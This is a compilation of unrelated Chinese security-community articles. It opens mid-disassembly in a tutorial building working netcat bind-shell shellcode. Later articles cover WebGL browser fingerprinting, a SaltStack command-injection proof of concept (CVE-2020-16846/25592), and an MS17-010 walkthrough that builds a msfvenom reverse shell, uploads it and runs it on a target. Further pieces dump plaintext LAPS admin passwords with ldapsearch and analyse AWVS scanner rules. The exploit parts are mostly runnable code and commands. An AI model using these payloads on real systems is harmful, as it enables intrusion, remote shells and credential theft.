35:c7 44 24 1c 08 00 00 movl $0x8,0x1c(%esp)
3c:00
3d:c7 44 24 20 11 00 00 movl $0x11,0x20(%esp)
44:00
45:c7 44 24 24 00 00 00 movl $0x0,0x24(%esp)
4c:00
4d:8d 44 24 28 lea 0x28(%esp),%eax
51:89 44 24 08 mov %eax,0x8(%esp)
55:8d 44 24 18 lea 0x18(%esp),%eax
59:89 44 24 04 mov %eax,0x4(%esp)
5d:c7 04 24 00 00 00 00 movl $0x0,(%esp)
64:e8 fc ff ff ff call 65 <main+0x65>
69:89 44 24 2c mov %eax,0x2c(%esp)
6d:c9 leave
6e:c3 ret
可以通过strace来追踪系统调用执行的情况
root@MINDZSEC:~# strace ./ntcat
execve("./ntcat", ["./ntcat"], [/* 31 vars */]) = 0
brk(0) = 0x9966000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7764000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=103011, ...}) = 0
mmap2(NULL, 103011, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb774a000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY) = 3
可以看到第一个syscall是执行了我们的程序，接下来再去进行打开动态链接库等操作。
上面c程序生成的这段代码里面很多操作码都包括'x00'字段（NULL字段），为了生成可用的shellcode，需要记住下面的这个规则：
记住总是使用寄存器的最小部分越有可能避免null，而且xor操作是一个非常好用的gadget。
我们不需要使用这段代码去测试它，就知道这段代码直接当做shellcode是不会执行的，因为里面的操作码包括‘x00’（strcpy会截断所以执行不下去），所以我们需要退回到汇编语言去重新处理这段代码。
开始之前，需要记住以下几条：
shellcode中不能有NULL
shellcode不能使用静态地址
Xor操作是一个非常有用的gadget
现在使用汇编语言编写程序
root@MINDZSEC:~# nano ntcat.asm
jmp short todo
shellcode:
;from man setresuid: setresuid(uid_t ruid, uid_t euid, uid_t suid)
xor eax, eax ;Zero out eax
xor ebx, ebx;Zero out ebx
xor ecx, ecx;Zero out ecx
cdq;Zero out edx using the sign bit from eax
mov BYTE al, 0xa4 ;setresuid syscall 164 (0xa4)
int 0x80;syscall execute
pop esi;esi contain the string in db
xor eax, eax;Zero out eax
mov[esi + 7], al;null terminate /bin/nc
mov[esi + 16], al ;null terminate -lvp90
mov[esi + 26], al;null terminate -e/bin/sh
mov[esi + 27], esi;store address of /bin/nc in AAAA
lea ebx, [esi + 8];load address of -lvp90 into ebx
mov[esi +31], ebx;store address of -lvp90 in BBB taken from ebx
lea ebx, [esi + 17];load address of -e/bin/sh into ebx
mov[esi + 35], ebx;store address of -e/bin/sh in CCCC taken from ebx
mov[esi + 39], eax ;Zero out DDDD
mov al, 11;11 is execve syscakk number
mov ebx, esi;store address of /bin/nc
lea ecx, [esi + 27];load address of ptr to argv[] array
lea edx, [esi + 39] ;envp[] NULL
int 0x80;syscall execute
todo:
call shellcode
db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD'
; 01234567890123456789012345678901234567890123
在这段代码中我们做了以下操作：
1\. 使用xor指令去清零eax，ebx，ecx等寄存器
2\. 将命令写到了shellcode代码中了，即：
db '/bin/nc#-lvp9999#-e/bin/sh#AAAABBBBCCCCDDDD'
; 01234567890123456789012345678901234567890123
3\. 在命令下面还使用了数字进行位置的注释
接下来使用nasm编译这段代码
root@MINDZSEC:~# nasm -f elf ntcat.asm
然后再用objdump反汇编
root@MINDZSEC:~# objdump -d ntcat.o
得到
ntcat.o: file format elf32-i386
Disassembly of section .text:
00000000 <shellcode-0x2>:
0:eb 35 jmp 37 <todo>
00000002 <shellcode>:
2:31 c0 xor %eax,%eax
4:31 db xor %ebx,%ebx
6:31 c9 xor %ecx,%ecx
8:99 cltd
9:b0 a4 mov $0xa4,%al
b:cd 80 int $0x80
d:5e pop %esi
e:31 c0 xor %eax,%eax
10:88 46 07 mov %al,0x7(%esi)
13:88 46 10 mov %al,0x10(%esi)
16:88 46 1a mov %al,0x1a(%esi)
19:89 76 1b mov %esi,0x1b(%esi)
1c:8d 5e 08 lea 0x8(%esi),%ebx
1f:89 5e 1f mov %ebx,0x1f(%esi)
22:8d 5e 11 lea 0x11(%esi),%ebx
25:89 5e 23 mov %ebx,0x23(%esi)
28:89 46 27 mov %eax,0x27(%esi)
2b:b0 0b mov $0xb,%al
2d:89 f3 mov %esi,%ebx
2f:8d 4e 1b lea 0x1b(%esi),%ecx
32:8d 56 27 lea 0x27(%esi),%edx
35:cd 80 int $0x80
00000037 <todo>:
37:e8 c6 ff ff ff call 2 <shellcode>
3c:2f das
3d:62 69 6e bound %ebp,0x6e(%ecx)
40:2f das
41:6e outsb %ds:(%esi),(%dx)
42:63 23 arpl %sp,(%ebx)
44:2d 6c 76 70 39 sub $0x3970766c,%eax
49:39 39 cmp %edi,(%ecx)
4b:39 23 cmp %esp,(%ebx)
4d:2d 65 2f 62 69 sub $0x69622f65,%eax
52:6e outsb %ds:(%esi),(%dx)
53:2f das
54:73 68 jae be <todo+0x87>
56:23 41 41 and 0x41(%ecx),%eax
59:41 inc %ecx
5a:41 inc %ecx
5b:42 inc %edx
5c:42 inc %edx
5d:42 inc %edx
5e:42 inc %edx
5f:43 inc %ebx
60:43 inc %ebx
61:43 inc %ebx
62:43 inc %ebx
63:44 inc %esp
64:44 inc %esp
65:44 inc %esp
66:44 inc %esp
接下来我并没有对运行这段代码进行测试，因为我百分之百肯定这段代码是可以运行的。
提取这段代码
root@MINDZSEC:~# ./xxd-shellcode.sh ntcat.o
得到shellcode
"xebx35x31xc0x31xdbx31xc9x99xb0xa4xcdx80x5ex31xc0x88x46x07x88x46x10x88x46x1ax89x76x1bx8dx5ex08x89x5ex1fx8dx5ex11x89x5ex23x89x46x27xb0x0bx89xf3x8dx4ex1bx8dx56x27xcdx80xe8xc6xffxffxffx2fx62x69x6ex2fx6ex63x23x2dx6cx76x70x39x39x39x39x23x2dx65x2fx62x69x6ex2fx73x68x23x41x41x41x41x42x42x42x42x43x43x43x43x44x44x44x44"
现在得到了shellcode，接下来要做的工作就是把这段代码放到mman.c测试程序中去运行了。放到mman.c中的程序最终如下:
root@MINDZSEC:~# nano Mmap.c
#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
int (*shellcodetotest)();
char shellcode[] = "xebx35x31xc0x31xdbx31xc9x99xb0xa4xcdx80x5ex31xc0x88x46x07x88x46x10x88x46x1ax89x76x1bx8dx5ex08x89x5ex1fx8dx5ex11x89x5ex23x89x46x27xb0x0bx89xf3x8dx4ex1bx8dx56x27xcdx80xe8xc6xffxffxffx2fx62x69x6ex2fx6ex63x23x2dx6cx76x70x39x39x39x39x23x2dx65x2fx62x69x6ex2fx73x68x23x41x41x41x41x42x42x42x42x43x43x43x43x44x44x44x44";
int main(int argc, char **argv) {
void *ptr = mmap(0, 150, PROT_EXEC | PROT_WRITE| PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0);
if(ptr == MAP_FAILED){
perror("mmap");
exit(-1);
}
memcpy(ptr, shellcode, sizeof(shellcode));
shellcodetotest = ptr;
shellcodetotest();
return 0;
}
编译这段代码
root@MINDZSEC:~# gcc Mmap.c -o Mmap
运行
oot@MINDZSEC:~# ./Mmap
listening on [any] 9999 ...
（亲测有效）
可以看到程序在监听9999端口，是因为在ntcat.asm程序中使用的就是9999端口，这段汇编代码也是比较容易看懂的。当然，也还有很多方法来优化这段代码，我的技术只能到这个水平了而已，在这篇文章的基础上继续改进可以节省你很多时间。
要做netcat shellcode，仔细的阅读这篇文章，然后找到自己遇到困难的地方。在后面也会给出email以便大家遇见问题可以联系我。
整个过程中都没使用gdb是因为我认为看这篇文章的人都能够明白这整个代码。
在后面我使用了一个“xxd-shellcode.sh”文件来提取shellcode，它节省了我不少时间（5min）。下面我也把它给出来：
#!/bin/bash
filename=`echo $1 | sed s/".o$"//`
rm -f $filename.shellcode
objdump -d $filename.o | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr 't' ' ' | sed 's/ $//g' | sed 's/ /\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g'
echo
可以测试下这个文件，当然，里面的东西是不可以修改的。这个文件你也可以在projectshellcode.com里看到。
我的昵称是MINDZSEC，我喜欢SHELLCODE。
**小结**
其实这篇文章在湖湘杯线下赛一题中可以用到的。当时湖湘杯线下赛的时候不能联网。知道问题在哪，但不晓得怎么用，试来试去都没搞出来，很蛋疼，最后都没做出来。回来以后google了一把找到了这篇文章，才把题搞出来了。歪果人还是蛮厉害的，服。不过也是自己弱，还是继续努力吧，也把它翻译出来，希望有兴趣的同学大家一起学习。最后把原文链接贴出来，翻译水平有点烂，大家有兴趣去看原文吧。 | 社区文章 |
## 前言
本篇文章主要讲解模型和参数选择部分知识，下一篇文章将讲述相关代码实现。
## Task(a)-纹理
简单来说即测试片段着色器中的常规纹理特征。
具体来说，即将经典的Suzanne模型在随机生成纹理的画布上呈现。纹理大小为256×256的正方形，通过随机选择每个像素的颜色来创建，即我们在一个像素的三个基色（红色，绿色和蓝色）之间产生0~255的三个随机值，将三个基色混合在一起，并将其用作像素的颜色。
之所以选择这个随机生成的纹理，是因为这个纹理比常规纹理具有更多的指纹特征。原因如下，当片段着色器将纹理映射到模型时，片段着色器需要在纹理中插入点，以便将纹理映射到模型上的每个点。插入值算法在不同的显卡中是不同的，当纹理变化很大时，差异就被放大。因此，我们需要生成在每对相邻像素之间颜色变化很大的这种纹理。
相关模块为：
this.testList.push(new TextureTest(this.susanVertices, this.susanIndices, this.susanTexCoords, this.texture));
运行情况
(后续文章将解释这个262144的数组)
## Task(b)-渐变
简单来说即测试片段着色器在画布上的渐变特征。
具体来说，不同的渐变颜色被画在一个正方体模型的六个面上,每个面上的4个顶点都作为颜色的出发点，例如下图
并且尽量选择这些渐变颜色来扩大每个面上的色彩之间的差异，例如某个面的一个顶点上蓝色比例非常大(0.9/1)，那么另一个顶点的蓝色比例就必须非常少(0.1/1)，相应的拥有更多的红色和绿色
相关模块为
this.testList.push(new CubeTest('normal'));
运行情况如下
### Task(b')-抗锯齿与渐变
简单来说即测试抗锯齿特征，换句话来说，即测试浏览器如何让模型边缘更加光滑
这里使用与Task(B)相同的方式，并且加入抗锯齿。如果进一步测试，将会发现模型的每个边缘都被柔化
相关模块如下
this.testList.push(new CubeTest('aa'));
运行情况如下
和前一张对面，边缘的确有显著的柔化
## Task(c)-camera
简单来说即测试投影特性，换句话说，即一个输入片段着色器的投影矩阵
所有的配置信息都与任务一致，除了camera的被移动到了新的位置`[-1,-4,-10]`，得到的立方体比Task(b)更小，因为camera被移动的离立方体更远
相关模块如下
this.testList.push(new CameraTest());
运行情况如下
## Task(d)-直线与曲线
简单来说即测试直线和曲线。 在画布上绘制一条曲线和三条不同角度的直线。
具体来说，曲线遵循以下公式：
y = 256-100cos(2.0πx/ 100.0)+ 30cos(4.0πx/ 100.0)+ 6cos(6.0πx/ 100.0)
其中[0,0]为画布的左上角，x轴向右增加，y轴增加到底部。
三条直线的起点和终点是
`{[38.4,115.2]，[89.6,204.8]}`，`{[89.6,89.6]，[153.6,204.8]}`和`{[166.4,89.6]，[217.6,204.8]}`。
选择这些特定的线条和曲线，以便测试不同的渐变和形状。
相关模块如下
this.testList.push(new LineTest('normal'));
运行情况如下
### Task(d')-抗锯齿与直线与曲线
即在Task(d)中加入了抗锯齿
相关模块如下
this.testList.push(new LineTest('aa'));
不难发现边缘显著得到柔化
## Task(e)-多重模型
简单来说即测试多个不同的模型在同一个画布上如何相互影响
除了Suzanne模型，这里引入了另一种模型：看起来像一个人倚靠在沙发上，称之为sofa模型，我们将两个模型平行放置，并同样对sofa模型用Task(a)中的随机生成的纹理进行着色
相关模块如下
this.testList.push(new TextureTest(this.combinedVertices, this.combinedIndices, this.combinedTexCoords, this.texture));
运行情况如下
## Task(f)-光线
简单来说即测试漫射点光和Suzanne模型的相互作用。 漫射点光在照亮物体时会引起漫反射。
具体地说，该光是在RGB上具有相同值的白色，对于每种原色，光的功率为2，光源位于`[3.0,-4.0,-2.0]`。
在这个任务中选择一个白光源，因为纹理是各种颜色的，单色光可能会减少纹理上的一些微妙差异。
光线的强度需要精心设计。非常弱的光线不会照亮Suzanne模型，模型就会不可见；非常强的光会使一切变白，减少指纹特征。
在6台机器的小规模实验中，功率从0增加到255，我们发现当光功率为2时，这些机器之间的像素差异最大。并且光照位置可随机选择，不会影响特征指纹识别结果。
相关模块如下
this.testList.push(new SimpleLightTest(this.susanVertices, this.susanIndices, this.susanTexCoords, this.susanNormals, this.texture));
运行情况如下
## Task(g)-光线与模型
简单来说即测试漫射点光和Suzanne模型与sofa模型的相互作用
因为当某个点的被光照时，一个模型可能会在另一个模型上产生阴影
这个任务中所有的光线配置与Task(f)一致，并且模型与Task(e)一致
相关模块如下
this.testList.push(new SimpleLightTest(this.combinedVertices, this.combinedIndices, this.combinedTexCoords, this.combinedNormals, this.texture));
运行情况如下
## Task(h)-镜面光
简单来说即测试另一种色彩的漫射点光与镜面点光对2个模型的作用
与漫射点光相似，镜面点光将会导致照射对象的镜面反射，两束光源都位于`[0.8,-0.8,-0.8]`
漫射点光的RGB为`[0.75,0.75,1.0]`，镜面点光的RGB为`[0.8,0.8,0.8]`
这里有两件事值得注意。其一，我们选择了一个特殊的camera位置，其距离模型很近，并且有更大的影响，尤其是当sofa模型后部被镜面点光照射时。其二，虽然漫射点光是偏蓝色的，但是它依旧含有不少红色与绿色，我们想要测试其他颜色的光线，但是最后发现，在纹理是彩色的时候，白光依旧是最好的，它能获取到最多的指纹特征
相关代码如下，这里进行了多重测试，例如加入抗锯齿，再加入90度旋转，所以得到3组数据
this.testList.push(new MoreLightTest(this.combinedVertices, this.combinedIndices, this.combinedTexCoords, this.combinedNormals, this.texture));
运行情况如下
## Task(i)-双纹理
简单来说即测试对同一对象进行不同的纹理覆盖会有什么影响
我们生成另一种随机的纹理对Suzanne和sofa模型进行覆盖
相关代码
this.testList.push(new TwoTexturesMoreLightTest(this.combinedVertices, this.combinedIndices, this.combinedTexCoords, this.combinedNormals, this.texture, this.texture1));
运行情况如下
## Task(j)-Alpha
该任务由8个子任务组成，即测试不同alpha值的影响
我们将Suzanne和sofa模型平行放置，并且从我们精心设置的alpha值集合`{0.09,0.1,011,0.39,0.4,0.41,0.79,1}`中选择alpha值，其中0表示完全透明，1表示完全不透明。
此时又有两点值得注意，其一，我们精心选择了3个变化不大的值，去反应不同alpha值带来的变化：`{0.1,0.4,0.8}`，并且值以0.01的速度变化，因为GUPs不能接受更小的步长。其二，因为Suzanne和sofa模型的放置，他们有一部分是重叠的，所以当模型变得透明时，sofa模型被隐藏的部分变得可见。
相关代码如下
this.testList.push(new TransparentTest(this.combinedVertices, this.combinedIndices, this.combinedTexCoords, this.combinedNormals, this.texture));
运行情况，因为我们选择了8种alpha值集合，所以得到8组数据
## Task(k)-复合光
测试复合光特性，例如反射光，移动光，追踪光
特别的，我们生成了5000个金属环模型，并以随机的角度将他们放置在地面上，同时堆叠在一起。为了稳定性，我们选择了一个随机数种子用来生成随机数，这样测试即可被重复在不同的浏览器和机器上。两束射向底部的光源，分别是黄色和红色，其一直在整个场景的右上角旋转。当光线照射到金属环的下方，其他的环同时也会被反射光照射，此时两种颜色的光混合在一起。
注意，这里我们使用单色光源，因为模型不是彩色的，这样做可以为我们提供更多的相互影响的细节
相关代码
this.testList.push(new LightingTest());
运行情况，在第二组里加入了抗锯齿，所以得到了两组数据
## 更多渲染任务
### Task(l)-切面
相关模块为：
this.testList.push(new ClippingTest());
运行情况
### Task(m)-立方体纹理和菲涅尔效应
相关代码如下
this.testList.push(new BubbleTest());
运行情况
### Task(n/o)-DDS与PVR纹理
相关代码
this.testList.push(new CompressedTextureTest());
运行情况如下，因为有2种纹理(DDS与PVR纹理)，所以得到2组数据
### Task(p)-浮点纹理
运行情况如下
## Task(r)-字符集
为了获取浏览器支持的字符集列表，例如拉丁语，中文或是阿拉伯语。因为目前没有浏览器提供接口去获取其支持的字符集，于是我们想到了一个侧信道的方式去探测，方法如下：
每一种字符集都会被浏览器进行渲染，如果该字符集被支持，那么浏览器就会渲染成功。否则，如果字符集不被支持，那么就会渲染出方块。如下图：
我们容易知道在这个被测试的浏览器中，我们容易知道，Javanese，Sudanese，Lontara和Thaana不被支持
## 后记
可以看到这些任务深入研究了图片渲染引擎的特征，js没办法直接获取到显卡的设置和驱动，但是通过这种方法，当不同的显卡渲染同一张图片时，因设置不同，渲染出来的图片hash也不同。用这种图片hash作为特征，其实是从侧面得到机器显卡的特征，同一台机器在不同的浏览器上用到同一个显卡，所以可以看到这些task的跨浏览器稳定性都很高，总共10余种task。 | 社区文章 |
**作者：云鼎实验室
原文链接：<https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag>**
### 一、背景
#### 漏洞概述：
SaltStack是一个分布式运维系统，在互联网场景中被广泛应用，有以下两个主要功能：
* 配置管理系统，能够将远程节点维护在一个预定义的状态（例如，确保安装特定的软件包并运行特定的服务）
* 分布式远程执行系统，用于在远程节点上单独或通过任意选择标准来执行命令和查询数据
2020年11月4日，SaltStack
官方发布了一则安全更新公告，其中CVE-2020-16846和CVE-2020-25592组合使用可在未授权的情况下通过salt-api接口执行任意命令。CVE-2020-25592允许任意用户调用SSH模块，CVE-2020-16846允许用户执行任意命令。salt-api虽不是默认开启配置，但绝大多数SaltStack用户会选择开启salt-api，故存在较高风险。
#### 漏洞编号：
CVE-2020-16846、CVE-2020-25592
#### 受影响版本：
* 3002
* 3001.1, 3001.2
* 3000.3, 3000.4
* 2019.2.5, 2019.2.6
* 2018.3.5
* 2017.7.4, 2017.7.8
* 2016.11.3, 2016.11.6,2016.11.10
* 2016.3.4, 2016.3.6,2016.3.8
* 2015.8.10, 2015.8.13
### 二、漏洞分析及POC
#### 漏洞分析
截至2020年11月11日，补丁代码尚未与Github中master分支代码合并，故可直接从SaltStack官方Github仓库获取，目前master的代码版本为3002，系统为Mac，版本号相差较大时代码变动较大，需另作分析。
Salt Version:
Salt: 3002-56-g3e269eda82
Dependency Versions:
cffi: 1.14.3
cherrypy: unknown
dateutil: Not Installed
docker-py: Not Installed
gitdb: 4.0.5
gitpython: 3.1.11
Jinja2: 2.11.2
libgit2: Not Installed
M2Crypto: Not Installed
Mako: 1.0.7
msgpack: 1.0.0
msgpack-pure: Not Installed
mysql-python: Not Installed
pycparser: 2.19
pycrypto: Not Installed
pycryptodome: 3.9.9
pygit2: Not Installed
Python: 3.8.2 (default, Sep 24 2020, 19:37:08)
python-gnupg: Not Installed
PyYAML: 5.3.1
PyZMQ: 19.0.2
smmap: 3.0.4
timelib: Not Installed
Tornado: 4.5.3
ZMQ: 4.3.2
System Versions:
dist: darwin 19.6.0
locale: utf-8
machine: x86_64
release: 19.6.0
system: Darwin
version: 10.15.6 x86_64
salt-api REST接口默认使用cherrypy框架，从run接口的实现上可以看出通过client参数动态调用NetapiClient类中的方法。
文中指定代码位置采用以下约定：`FileLocation:Classname.method()`
**salt/netapi/init.py:NetapiClient.run()**
low参数为外部传入参数，salt.utils.args.format_call方法将参数赋值给**kwargs。
当client参数为ssh时，动态调用salt/netapi/init.py:NetapiClient.ssh()， **该方法未采用任何鉴权。**
**salt/netapi/init.py:NetapiClient.ssh()**
跟进，路径如下：
salt/netapi/init.py:NetapiClient.ssh()⇒salt/client/ssh/client.py:SSHClient.cmd_sync()⇒salt/client/ssh/client.py:SSHClient._prep_ssh()
**salt/client/ssh/client.py:SSHClient._prep_ssh()**
该方法将kwargs外部可控参数更新值opts变量，该变量可以理解为SaltStack系统的环境变量，使用该变量初始化salt.client.ssh.SSH。
**salt/client/ssh/init.py:SSH.__init__()**
priv的值从opts变量中获取，并调用salt.client.ssh.shell.gen_key()方法。
**salt/client/ssh/shell.py:gen_key()**
该方法中对命令进行拼接，并进行执行。当传入值为|COMMAND>{} #即可执行COMMAND命令。
#### POC
由上分析可知，POC如下：
POST /run HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/x-yaml
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 109
token=12312&client=ssh&tgt=*&fun=a&roster=whip1ash&ssh_priv=aaa|open%20/System/Applications/Calculator.app%3b
#### 关于复现环境
1. Mac上复现需要手动创建日志文件夹、配置文件夹等，并需要手动写入相关配置。
2. Docker从官方环境拉取的镜像中默认没有SSH，故执行该poc时salt-api会挂掉，经测试3002版本自动重启，3000.4版本、2019.2.5版本则不会。故当salt-api挂掉时，优先考虑当前机器上是否有SSH软件。
### 三、安全建议
1. 尽快修复。由于官方并未放出升级包，故目前仍需要手动进行修复，这里是官方安全通告和修复补丁。
2. 如非必须使用salt-api，请关闭该功能。
* * * | 社区文章 |
测试环境：
攻击机为`kali2016.2`的虚拟机,目标靶机为：`windows2003(x86)`
#### 1.下载ms17-010的利用脚本：
git clone https://github.com/worawit/MS17-010/
#### 2.利用`check.exp`来检查目标靶机的可用管道名：这里目标管道名为：`netlogon`
python checker.py 192.168.99.249
#### 3.在kali上生成一个msf的后门exe:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.0.86 LPORT=3333 -f exe -o /opt/shell.exe
#### 4.生成一个监听msf的反弹shell:
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(handler) > set lport 3333
msf exploit(handler) > set lhost 10.0.0.86
msf exploit(handler) > exploit -j
#### 5.修改zzz_exploit.py代码
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, fid2)
smbConn.disconnectTree(tid2)
smb_send_file(smbConn, '/opt/shell.exe', 'C', '/shell.exe')
service_exec(conn, r'cmd /c c:\\shell.exe')
# Note: there are many methods to get shell over SMB admin session
# a simple method to get shell (but easily to be detected by AV) is
# executing binary generated by "msfvenom -f exe-service ..."
#### 5.执行利用程序zzz_exploit.py
python zzz_exploit.py 192.168.99.249 netlogon
#### 6.最后可用看到msf成功反弹出目标靶机的shell: | 社区文章 |
# 【技术分享】如何使用ldapsearch来dump域中的LAPS密码
|
##### 译文声明
本文是翻译文章，文章来源：room362.com
原文地址：<https://room362.com/post/2017/dump-laps-passwords-with-ldapsearch/>
译文仅供参考，具体内容表达以及含义原文为准。
****
译者：[for_while](http://bobao.360.cn/member/contribute?uid=2553709124)
预估稿费：50 RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**前言**
如果你曾经对使用LAPS的组织做过渗透测试，你应该知道在安全方面使用随机本地管理员密码（LAPS）是最佳的解决方案。
**使用ldapsearch来dump域中的LAPS密码**
LAPS将其信息存储在Active Directory中：
到期时间： ms-Mcs-AdmPwdExpirationTime: 131461867015760024
明文存储的密码： ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(
在LAPS首次出现时，Active Directory中的任何用户都可以读取它。不过Microsoft现在已经修复了这个漏洞，您 **现在必须拥有All
extended rights对象的权限或Active Directory的完全控制权，才能执行此操作。**
感谢[Meatballs](https://github.com/Meatballs1)，提供了一个Metasploit模块：[enum_laps.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/windows/gather/credentials/enum_laps.rb)。但是，不幸的是，在渗透测试的过程中我们并不总能使用
Meterpreter 会话来运行该模块。不过使用ldapsearch（包含在ldapscripts Debian/Ubuntu
中的软件包中）也能实现和上述模块相同的查询。一下为一个运行示例：
ldapsearch -x -h 192.168.80.10 -D
"helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info"
"(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
下面解释下这条命令
让我们打破这个：
-x – 使用基本身份验证
-h 192.168.80.10 – 连接到ldap的域控制器
-D "helpdesk" -w ASDqwe123- 以helpdesk（用户名），ASDqwe123（密码）登录
-b "dc=sittingduck,dc=info" – 这将加载整个域的基本LDAP对象。
"(ms-MCS-AdmPwd=*)"- 过滤掉我不能查看ms-MCS-AdmPwd的值的对象。（如果你拥有查看该管理员密码的用户权限，则会显示该密码。）
ms-MCS-AdmPwd- 只显示ms-MCS-AdmPwd对象（默认情况下包含对象名称和DN，以便您知道它所属的主机）
命令执行示例：
$ ldapsearch -x -h 192.168.80.10 -D "helpdesk" -w ASDqwe123 -b "dc=sittingduck,dc=info" "(ms-MCS-AdmPwd=*)" ms-MCS-AdmPwd
# extended LDIF
#
# LDAPv3
# base <dc=sittingduck,dc=info> with scope subtree
# filter: (ms-MCS-AdmPwd=*)
# requesting: ms-MCS-AdmPwd
#
# DC1, Domain Controllers, sittingduck.info
dn: CN=DC1,OU=Domain Controllers,DC=sittingduck,DC=info
ms-Mcs-AdmPwd: 2F1i/++N0H+G]{Y&,F
# SDCLIENT_DAWIN7, LabComputers, Lab, sittingduck.info
dn: CN=SDCLIENT_DAWIN7,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
ms-Mcs-AdmPwd: 8CDR4,2UE8BA{zw2@RR
# SD_WSUS_2012, LabComputers, Lab, sittingduck.info
dn: CN=SD_WSUS_2012,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
ms-Mcs-AdmPwd: [email protected]/T
# WIN-PM0ID6F0AHN, LabComputers, Lab, sittingduck.info
dn: CN=WIN-PM0ID6F0AHN,OU=LabComputers,OU=Lab,DC=sittingduck,DC=info
ms-Mcs-AdmPwd: %v!e#7S#{s})+y2yS#(
# search reference
ref: ldap://research.sittingduck.info/DC=research,DC=sittingduck,DC=info
# search reference
ref: ldap://ForestDnsZones.sittingduck.info/DC=ForestDnsZones,DC=sittingduck,D
C=info
# search reference
ref: ldap://DomainDnsZones.sittingduck.info/DC=DomainDnsZones,DC=sittingduck,D
C=info
# search reference
ref: ldap://sittingduck.info/CN=Configuration,DC=sittingduck,DC=info
# search result
search: 2
result: 0 Success
现在，仅仅只有本地admin密码并不能确定LDPS就开启了，然而你还是可以执行一些后续的操作。
**后记**
你可以使用Kerberos进行身份验证（即： Golden/Silver 票据）
因为Windows没有（据我所知）限制只能在域控上登录LDAP连接（可能在未来推出），使用一点编码技术可以让[ntlmrelayx](https://github.com/CoreSecurity/impacket/blob/master/examples/ntlmrelayx.py)
dump LAPS密码。 | 社区文章 |
### Author：wilson@美丽联合集团安全
## 一）前言
最近对awvs进行一些简单研究，众所周知awvs的非常好用的扫描器。强大的爬扫能力让很多人很喜欢他，不过强大的话也对应有它的缺点，第一，体积庞大，扫描耗时间太久；第二，无法跨平台，只能让windows来用。不过这个几个缺点对这个牛逼的扫描器貌似也没啥影响，还是很多人爱用。
不过的扫描器来说核心还是规则，我们还是可以重点分析一下awvs的扫描规则。
## 二）咋分析？
### 1.搭建环境，抓流量进行分析
一个web狗，不会分析二进制。所以我只能抓包来分析了。
搭建一个漏洞url地址（这里只要一个url就够了，多了payload就太多不好分析了）用burp来抓，设置好burp的代理地址(proxy-options-proxy listeners-add)。在awvs中在设置一下扫描器的使用的代理地址为burp就可以开心的抓包了。
简单的抓包,可以大体的看成来awvs都做哪些扫描，而且我们可以找到一些马上可以用规则，比如破壳漏洞，文件读取，备份文件扫描，敏感文件扫描，ssrf，头注入等等。
### 2.script源码分析和调试
但是分析了一波流量，还是感觉很多payload找不到规则(比如sql注入的逻辑，jboss的漏洞匹配规则等等)。于是看了一下awvs的安装目录发现有一个data/scripts目录，里面有很多加密的文件，不用说了一定是扫描规则。
于是开始在网上找有没有人做过这个的相关破解工作，发现还真有:
<http://blog.oowoodone.com/archives/2016/03/30/wvs_script_decode/>
<http://gv7.me/articles/2017/Writing-AWVS-scripts-to-detect-Web-Services/>
问了一下博主要了一下规则，他就直接把规则同步github
**<https://github.com/c0ny1/awvs_script_decode>**
这种“前人种树，后人乘凉”的感觉还是很舒服的，所以自己以后也要多种种”树“.
打开规则一开全是类似javascript的脚本，直接看还是有点难懂。如果最好能运行并调试起来就美滋滋了。去搜索了一下官方的关于script的文档发现，awvs提供了编写script脚本的接口。
<http://www.acunetix.com/download/tools/WVSSDK.zip>
解压以后里面有一个使用文档，根据文档就明白很多了。
根据文档我们可以知道:
1.awvs提供了wvs scripting程序给我们进行自定义的脚本编写，我们可以用它来对这些脚本进行调试，(只需要把这个文件拷贝到awvs的安装目录即可)。
2.awvs 提供了script可用api，在https://www.acunetix.com/resources/sdk/种可以进行查看。
3.script的几个脚本目录是根据扫描的特点进行分类的：
3.1.includes 头文件，用于常量声明，生产随机数 和md5加密等等，很多扫描的匹配规则会在这里定于这个文件
3.2.network 主机的漏洞扫描 个人感觉非重点 比较avws是搞web扫描出名的。
3.3.PerFile 在文件名上的加payload测试，比如根据文件名扫备份文件扫描，破壳漏洞扫描等，个人理解就是根据uri进行一些参数扫描
3.4.PerFolder 根据目录型的url 进行一些扫描 比如敏感目录泄漏扫描，敏感文件泄漏扫描，git泄露扫描等。
